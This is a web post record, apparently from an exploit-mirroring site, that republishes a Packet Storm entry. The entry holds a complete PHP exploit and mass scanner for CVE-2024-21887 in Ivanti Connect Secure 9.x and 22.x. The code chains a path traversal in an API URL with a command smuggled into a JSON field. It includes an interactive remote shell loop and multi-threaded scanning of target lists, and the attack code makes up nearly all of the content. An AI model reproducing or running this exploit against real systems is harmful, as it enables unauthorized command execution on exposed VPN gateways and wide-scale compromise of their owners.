{"id":37576,"date":"2026-01-27T11:51:04","date_gmt":"2026-01-27T11:51:04","guid":{"rendered":"http:\/\/localhost\/?p=37576"},"modified":"2026-01-27T11:51:04","modified_gmt":"2026-01-27T11:51:04","slug":"ivanti-connect-secure-9x-22x-command-injection","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=37576","title":{"rendered":"\ud83d\udcc4 Ivanti Connect Secure 9.x \/ 22.x Command Injection_PACKETSTORM:214426"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-01-27T17:14:53&#8243;,&#8221;description&#8221;:&#8221;The provided PHP script targets CVE\u20112024\u201121887, a command injection vulnerability in Ivanti Connect Secure versions 9.x and 22.x It is designed to identify and exploit vulnerable systems through a crafted API request. It initializes a reusable cURL&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-01-27T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-01-27T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Ivanti Connect Secure 9.x \/ 22.x Command Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:214426&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2024-21887&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Ivanti Connect Secure 9.x and 22.x. Exploit and Scanner                                                                     |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.1 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/www.ivanti.com\/                                                                                                     |\\n    =============================================================================================================================================\\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/213670\/ \\u0026 CVE-2024-21887\\n    \\n    [+] Summary    : The provided PHP script targets CVE\u20112024\u201121887 and is designed to identify and exploit vulnerable systems through a crafted API request. \\n                     It initializes a reusable cURL session to send malicious JSON payloads to a specific endpoint, abusing path traversal and improper input handling.\\n    \\n    [+] Key features of the script include:\\n    \\n    Single\u2011target and bulk scanning modes (URL or file-based).\\n    \\n    Vulnerability detection by analyzing JSON error responses from the server.\\n    \\n    An interactive shell mechanism that attempts to execute arbitrary commands by injecting them into request parameters.\\n    \\n    Concurrent scanning using curl_multi for faster processing of multiple targets.\\n    \\n    Optional logging of vulnerable URLs to an output file.\\n    \\n    [+] Overall, the script goes beyond passive detection and includes active exploitation logic, making it suitable only for controlled, authorized security testing environments.\\t\\n    \\n    [+] PoC : php poc.php -u https:\/\/example.com\\n    \\n                           -f urls.txt -t 20 -o results.txt\\n    \\n    \\u003c?php\\n    \\n    class CVE_2024_21887 {\\n        private $base_url;\\n        private $session;\\n        \\n        public function __construct($base_url) {\\n            $this-\\u003ebase_url = $base_url;\\n            $this-\\u003esession = curl_init();\\n            curl_setopt($this-\\u003esession, CURLOPT_RETURNTRANSFER, true);\\n            curl_setopt($this-\\u003esession, CURLOPT_SSL_VERIFYPEER, false);\\n            curl_setopt($this-\\u003esession, CURLOPT_SSL_VERIFYHOST, false);\\n            curl_setopt($this-\\u003esession, CURLOPT_TIMEOUT, 10);\\n            curl_setopt($this-\\u003esession, CURLOPT_FOLLOWLOCATION, true);\\n        }\\n        \\n        public function send_backup_code_request($type_value = \\&#8221;id\\&#8221;) {\\n            $data = json_encode([\\&#8221;type\\&#8221; =\\u003e \\&#8221;;{$type_value};\\&#8221;]);\\n            $url = $this-\\u003ebase_url . \\&#8221;\/api\/v1\/totp\/user-backup-code\/%2E%2E\/%2E%2E\/system\/maintenance\/archiving\/cloud-server-test-connection\\&#8221;;\\n            \\n            curl_setopt($this-\\u003esession, CURLOPT_URL, $url);\\n            curl_setopt($this-\\u003esession, CURLOPT_POST, true);\\n            curl_setopt($this-\\u003esession, CURLOPT_POSTFIELDS, $data);\\n            curl_setopt($this-\\u003esession, CURLOPT_HTTPHEADER, [\\n                &#8216;Content-Type: application\/json&#8217;,\\n                &#8216;Content-Length: &#8216; . strlen($data)\\n            ]);\\n            \\n            $response = curl_exec($this-\\u003esession);\\n            $http_code = curl_getinfo($this-\\u003esession, CURLINFO_HTTP_CODE);\\n            $content_type = curl_getinfo($this-\\u003esession, CURLINFO_CONTENT_TYPE);\\n            \\n            if ($http_code \\u003e= 200 \\u0026\\u0026 $http_code \\u003c 300 \\u0026\\u0026 strpos($content_type, &#8216;application\/json&#8217;) !== false) {\\n                $response_data = json_decode($response, true);\\n                if (isset($response_data[&#8216;error&#8217;])) {\\n                    return $response_data[&#8216;error&#8217;];\\n                }\\n            }\\n            \\n            return null;\\n        }\\n        \\n        public function check_vulnerability() {\\n            $error_message = $this-\\u003esend_backup_code_request();\\n            if ($error_message) {\\n                echo \\&#8221;[+] \\&#8221; . $this-\\u003ebase_url . \\&#8221; is vulnerable &#8211; \\&#8221; . $error_message . PHP_EOL;\\n                return $error_message;\\n            }\\n            return null;\\n        }\\n        \\n        public function interactive_shell() {\\n            echo \\&#8221;[!] Shell is ready, please type your commands UwU\\&#8221; . PHP_EOL;\\n            \\n            while (true) {\\n                echo \\&#8221;# \\&#8221;;\\n                $cmd = trim(fgets(STDIN));\\n                \\n                if (strtolower($cmd) === &#8216;exit&#8217;) {\\n                    break;\\n                } elseif (strtolower($cmd) === &#8216;clear&#8217;) {\\n                    system(&#8216;clear&#8217;);\\n                    continue;\\n                }\\n                \\n                $response = $this-\\u003esend_backup_code_request($cmd);\\n                if ($response) {\\n                    echo $response . PHP_EOL;\\n                }\\n            }\\n        }\\n        \\n        public function __destruct() {\\n            curl_close($this-\\u003esession);\\n        }\\n    }\\n    \\n    function process_url($url, $output_file = null) {\\n        $scanner = new CVE_2024_21887($url);\\n        if ($scanner-\\u003echeck_vulnerability()) {\\n            if ($output_file) {\\n                file_put_contents($output_file, $url . PHP_EOL, FILE_APPEND);\\n            }\\n            return $url;\\n        }\\n        return null;\\n    }\\n    \\n    function main($argv) {\\n        $shortopts = \\&#8221;u:f:t:o:h\\&#8221;;\\n        $longopts = [\\n            \\&#8221;url:\\&#8221;,\\n            \\&#8221;file:\\&#8221;,\\n            \\&#8221;threads:\\&#8221;,\\n            \\&#8221;output:\\&#8221;,\\n            \\&#8221;help\\&#8221;\\n        ];\\n        \\n        $options = getopt($shortopts, $longopts);\\n        \\n        if (isset($options[&#8216;h&#8217;]) || isset($options[&#8216;help&#8217;]) || count($argv) == 1) {\\n            echo \\&#8221;CVE-2024-21887 Exploit Script\\&#8221; . PHP_EOL;\\n            echo \\&#8221;This script is designed to detect and interact with systems vulnerable to CVE-2024-21887.\\&#8221; . PHP_EOL . PHP_EOL;\\n            echo \\&#8221;Options:\\&#8221; . PHP_EOL;\\n            echo \\&#8221;  -u, &#8211;url      Specify a single URL to scan. Use this mode for a focused scan on one target.\\&#8221; . PHP_EOL;\\n            echo \\&#8221;  -f, &#8211;file     Specify a file path containing a list of URLs for bulk scanning.\\&#8221; . PHP_EOL;\\n            echo \\&#8221;                 Each URL should be on a new line.\\&#8221; . PHP_EOL;\\n            echo \\&#8221;  -t, &#8211;threads  Set the number of concurrent threads for bulk scanning. Default is 10.\\&#8221; . PHP_EOL;\\n            echo \\&#8221;  -o, &#8211;output   Specify a file path to save the URLs that are found to be vulnerable.\\&#8221; . PHP_EOL;\\n            echo \\&#8221;                 Results are appended to this file in real time.\\&#8221; . PHP_EOL;\\n            echo \\&#8221;  -h, &#8211;help     Show this help message\\&#8221; . PHP_EOL;\\n            return;\\n        }\\n        \\n        if (isset($options[&#8216;u&#8217;]) || isset($options[&#8216;url&#8217;])) {\\n            $url = $options[&#8216;u&#8217;] ?? $options[&#8216;url&#8217;];\\n            $scanner = new CVE_2024_21887($url);\\n            if ($scanner-\\u003echeck_vulnerability()) {\\n                $scanner-\\u003einteractive_shell();\\n            }\\n        } elseif (isset($options[&#8216;f&#8217;]) || isset($options[&#8216;file&#8217;])) {\\n            $file = $options[&#8216;f&#8217;] ?? $options[&#8216;file&#8217;];\\n            $threads = isset($options[&#8216;t&#8217;]) ? (int)$options[&#8216;t&#8217;] : (isset($options[&#8216;threads&#8217;]) ? (int)$options[&#8216;threads&#8217;] : 10);\\n            $output = $options[&#8216;o&#8217;] ?? $options[&#8216;output&#8217;] ?? null;\\n            \\n            if (!file_exists($file)) {\\n                echo \\&#8221;Error: File not found: \\&#8221; . $file . PHP_EOL;\\n                return;\\n            }\\n            \\n            $urls = file($file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);\\n            $total = count($urls);\\n            $processed = 0;\\n            \\n            echo \\&#8221;Scanning \\&#8221; . $total . \\&#8221; URLs with \\&#8221; . $threads . \\&#8221; threads&#8230;\\&#8221; . PHP_EOL;\\n            \\n            \/\/ Simplified threading implementation using curl_multi\\n            $mh = curl_multi_init();\\n            $handles = [];\\n            $results = [];\\n            \\n            \/\/ Function to process completed requests\\n            function process_completed_requests(\\u0026$mh, \\u0026$handles, \\u0026$results, \\u0026$processed, $total, $output) {\\n                while ($info = curl_multi_info_read($mh)) {\\n                    $ch = $info[&#8216;handle&#8217;];\\n                    $url = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL);\\n                    \\n                    if ($info[&#8216;result&#8217;] == CURLE_OK) {\\n                        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);\\n                        $response = curl_multi_getcontent($ch);\\n                        \\n                        if ($http_code \\u003e= 200 \\u0026\\u0026 $http_code \\u003c 300) {\\n                            $response_data = json_decode($response, true);\\n                            if (isset($response_data[&#8216;error&#8217;])) {\\n                                echo \\&#8221;[+] \\&#8221; . $url . \\&#8221; is vulnerable &#8211; \\&#8221; . $response_data[&#8216;error&#8217;] . PHP_EOL;\\n                                if ($output) {\\n                                    file_put_contents($output, $url . PHP_EOL, FILE_APPEND);\\n                                }\\n                                $results[] = $url;\\n                            }\\n                        }\\n                    }\\n                    \\n                    curl_multi_remove_handle($mh, $ch);\\n                    curl_close($ch);\\n                    unset($handles[array_search($ch, $handles, true)]);\\n                    \\n                    $processed++;\\n                    echo \\&#8221;\\\\rProgress: \\&#8221; . $processed . \\&#8221;\/\\&#8221; . $total . \\&#8221; (\\&#8221; . round(($processed\/$total)*100, 1) . \\&#8221;%)\\&#8221;;\\n                }\\n            }\\n            \\n            \/\/ Initialize requests\\n            foreach ($urls as $url) {\\n                $ch = curl_init();\\n                curl_setopt_array($ch, [\\n                    CURLOPT_URL =\\u003e $url . \\&#8221;\/api\/v1\/totp\/user-backup-code\/%2E%2E\/%2E%2E\/system\/maintenance\/archiving\/cloud-server-test-connection\\&#8221;,\\n                    CURLOPT_RETURNTRANSFER =\\u003e true,\\n                    CURLOPT_SSL_VERIFYPEER =\\u003e false,\\n                    CURLOPT_SSL_VERIFYHOST =\\u003e false,\\n                    CURLOPT_TIMEOUT =\\u003e 10,\\n                    CURLOPT_POST =\\u003e true,\\n                    CURLOPT_POSTFIELDS =\\u003e json_encode([\\&#8221;type\\&#8221; =\\u003e \\&#8221;;id;\\&#8221;]),\\n                    CURLOPT_HTTPHEADER =\\u003e [\\n                        &#8216;Content-Type: application\/json&#8217;\\n                    ]\\n                ]);\\n                \\n                curl_multi_add_handle($mh, $ch);\\n                $handles[] = $ch;\\n                \\n                \/\/ If we&#8217;ve reached the thread limit, process some requests\\n                if (count($handles) \\u003e= $threads) {\\n                    do {\\n                        curl_multi_exec($mh, $running);\\n                        process_completed_requests($mh, $handles, $results, $processed, $total, $output);\\n                    } while ($running \\u003e 0 \\u0026\\u0026 count($handles) \\u003e= $threads);\\n                }\\n            }\\n            \\n            \/\/ Process remaining requests\\n            do {\\n                curl_multi_exec($mh, $running);\\n                curl_multi_select($mh);\\n                process_completed_requests($mh, $handles, $results, $processed, $total, $output);\\n            } while ($running \\u003e 0);\\n            \\n            curl_multi_close($mh);\\n            \\n            echo PHP_EOL . \\&#8221;Scan completed. Found \\&#8221; . count($results) . \\&#8221; vulnerable URLs.\\&#8221; . PHP_EOL;\\n            if ($output) {\\n                echo \\&#8221;Vulnerable URLs saved to \\&#8221; . $output . PHP_EOL;\\n            }\\n        }\\n    }\\n    \\n    if (PHP_SAPI === &#8216;cli&#8217;) {\\n        main($argv);\\n    }\\n    \\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/214426&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.1,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:H\/UI:N\/S:C\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;3.0&#8243;,&#8221;vectorString&#8221;:&#8221;CVSS:3.0\/AV:N\/AC:L\/PR:H\/UI:N\/S:C\/C:H\/I:H\/A:H&#8221;,&#8221;baseScore&#8221;:9.1,&#8221;baseSeverity&#8221;:&#8221;CRITICAL&#8221;,&#8221;attackVector&#8221;:&#8221;NETWORK&#8221;,&#8221;attackComplexity&#8221;:&#8221;LOW&#8221;,&#8221;privilegesRequired&#8221;:&#8221;HIGH&#8221;,&#8221;userInteraction&#8221;:&#8221;NONE&#8221;,&#8221;scope&#8221;:&#8221;CHANGED&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;HIGH&#8221;,&#8221;integrityImpact&#8221;:&#8221;HIGH&#8221;,&#8221;availabilityImpact&#8221;:&#8221;HIGH&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/214426\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-01-27T17:14:53&#8243;,&#8221;description&#8221;:&#8221;The provided PHP script targets CVE\u20112024\u201121887, a command injection vulnerability in Ivanti Connect Secure versions 9.x and 22.x It is designed to identify and exploit&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,10,12,13,53,7,11,5],"class_list":["post-37576","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-91","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Ivanti Connect Secure 9.x \/ 22.x Command Injection_PACKETSTORM:214426 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=37576\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Ivanti Connect Secure 9.x \/ 22.x Command Injection_PACKETSTORM:214426 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-01-27T17:14:53&#8243;,&#8221;description&#8221;:&#8221;The provided PHP script targets CVE\u20112024\u201121887, a command injection vulnerability in Ivanti Connect Secure versions 9.x and 22.x It is designed to identify and exploit...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=37576\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-01-27T11:51:04+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"8 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37576#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37576\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Ivanti Connect Secure 9.x \\\/ 22.x Command Injection_PACKETSTORM:214426\",\"datePublished\":\"2026-01-27T11:51:04+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37576\"},\"wordCount\":1528,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.1\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=37576#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37576\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37576\",\"name\":\"\ud83d\udcc4 Ivanti Connect Secure 9.x \\\/ 22.x Command Injection_PACKETSTORM:214426 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-01-27T11:51:04+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37576#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=37576\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37576#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Ivanti Connect Secure 9.x \\\/ 22.x Command Injection_PACKETSTORM:214426\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Ivanti Connect Secure 9.x \/ 22.x Command Injection_PACKETSTORM:214426 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=37576","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Ivanti Connect Secure 9.x \/ 22.x Command Injection_PACKETSTORM:214426 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-01-27T17:14:53&#8243;,&#8221;description&#8221;:&#8221;The provided PHP script targets CVE\u20112024\u201121887, a command injection vulnerability in Ivanti Connect Secure versions 9.x and 22.x It is designed to identify and exploit...","og_url":"https:\/\/zero.redgem.net\/?p=37576","og_site_name":"zero redgem","article_published_time":"2026-01-27T11:51:04+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"8 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=37576#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=37576"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Ivanti Connect Secure 9.x \/ 22.x Command Injection_PACKETSTORM:214426","datePublished":"2026-01-27T11:51:04+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=37576"},"wordCount":1528,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.1","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=37576#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=37576","url":"https:\/\/zero.redgem.net\/?p=37576","name":"\ud83d\udcc4 Ivanti Connect Secure 9.x \/ 22.x Command Injection_PACKETSTORM:214426 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-01-27T11:51:04+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=37576#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=37576"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=37576#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Ivanti Connect Secure 9.x \/ 22.x Command Injection_PACKETSTORM:214426"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/37576","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=37576"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/37576\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=37576"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=37576"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=37576"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}